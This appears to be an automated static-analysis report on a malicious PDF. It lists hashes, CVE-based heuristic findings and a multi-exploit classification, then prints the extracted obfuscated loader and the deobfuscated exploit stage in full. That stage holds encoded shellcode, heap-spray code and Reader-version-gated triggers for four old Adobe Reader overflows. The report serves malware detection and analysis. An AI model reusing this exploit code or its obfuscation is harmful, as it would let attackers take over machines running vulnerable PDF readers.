Malicious PDF — malware analysis report

Static analysis result for SHA-256 fac00dbe93bb10dc…

MALICIOUS

PDF

44.8 KB First seen: 2026-05-09
MD5: db317852e8b3adcfedb8447f6da06537 SHA-1: ff8d118ea8dede06271de92d2549e8078d205465 SHA-256: fac00dbe93bb10dcb08d42c49f4eea93858bb3fe3ed33cb4d0c57d9624beb210
408 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by heuristic firings for PDF_JAVASCRIPT and PDF_JS. The ML classifier strongly flagged this PDF as malicious. The embedded JavaScript is likely intended to perform malicious actions, such as downloading a second-stage payload or exploiting vulnerabilities, although the specific actions are not detailed in the provided evidence. No document body text was available for further context.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB0A9 434 bytes
SHA-256: be6ed68332736324eecb99222a24493b03f21ebeacfb3fa4756b3ccedddecd93
Preview script
First 1,000 lines of the extracted script
ttgb='';
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
e('dypg=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
fri=e('String.fro'+dypg.substr(1,9));
sbq = e(dypg.substr(10)['rep'+'l'+('nsdnf','ace')](/u/g,','));
e('k=sbq.length');
for (i = 0; i < k; i+=2) {
	ziqmn = sbq[i+1] + ('erybjkerl',sbq[i]);
	ttgb += fri(ziqmn);
}
e(ttgb);
legacy_pdfkit_stage_000.js deobfuscated-js metadata bmCharCode pair decoded JavaScript at offset 0x37 3672 bytes
SHA-256: 9f6123114b45fb8742b745621dde428ca40b4b70365597297f9cde34bbc097eb
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u43b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%ud134%ue2aa%uc3fa%ue5e8%uffff%u38ff%ud0dd%ud1d1%u508f%u8d3d%ud1d0%u58d1%u5c36%uc19e%ube5c%ue085%u860a%u8280%u8282%u8282%u8282%u8284%ub982%ud0d5%ud1d1%u8784%ub982%ubfbe%ud1d1%ua4b9%ubda3%u85bc%u5fb9%udf9f%u393d%ud199%ud1d1%u3981%ud1ad%ud1d1%u012e%u1552%ub9d9%u3e9e%ud49e%u3981%ud1bd%ud1d1%u012e%u1154%uc6a4%u85bb%u2288%ub97b%u2fa3%uc762%ucc39%ud1d1%u81d1%u8039%ud1d1%u2ed1%u8201%u2fbb%u58b9%ud0be%u396c%ud1d9%ud1d1%u3981%ud1ed%ud1d1%u012e%ue0b1%ub511%u815a%u5ae1%udd83%u835a%u5ac5%uf9a3%uc968%ud1d1%ue0d1%ue02e%u7d11%ub0ed%ud3ad%uf1fd%u1e10%ud0dc%u3316%u5021%u8a2e%u9b6d%u5abb%uc193%uc35a%u08a4%u9558%ucdf5%u12b0%u5ab1%uf5bd%u5af5%ued94%u855a%ua9d4%u3bd0%u9b5a%u5ac9%uf18b%u3ad0%ue532%u5a98%u5ae5%u3fd0%u2ee0%u11e0%u7d2d%u1155%ud6a5%u1e10%ud0dc%u3a16%uea25%uf5ad%ua4f9%u5a30%uf58b%u3ad0%u5ab7%u9add%u8b5a%ud0cd%u5a3a%u5ad5%u39d0%u9558%ucdf5%u13b0%ud1d9%u3e39%u2e2f%ub92e%ua5a5%ueba1%ufefe%ue5e6%ue0a6%ua7e8%ue4e2%ub2ff%uffab%ub2b2%ub0fe%ub2b2%ua2b4%ue6a2%ubafe%ua1ff%ua1b9%ub7ee%ue4ec%uf7e3%uecb4%ud1e4';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

Open this report in the interactive analyzer, or submit your own file for analysis.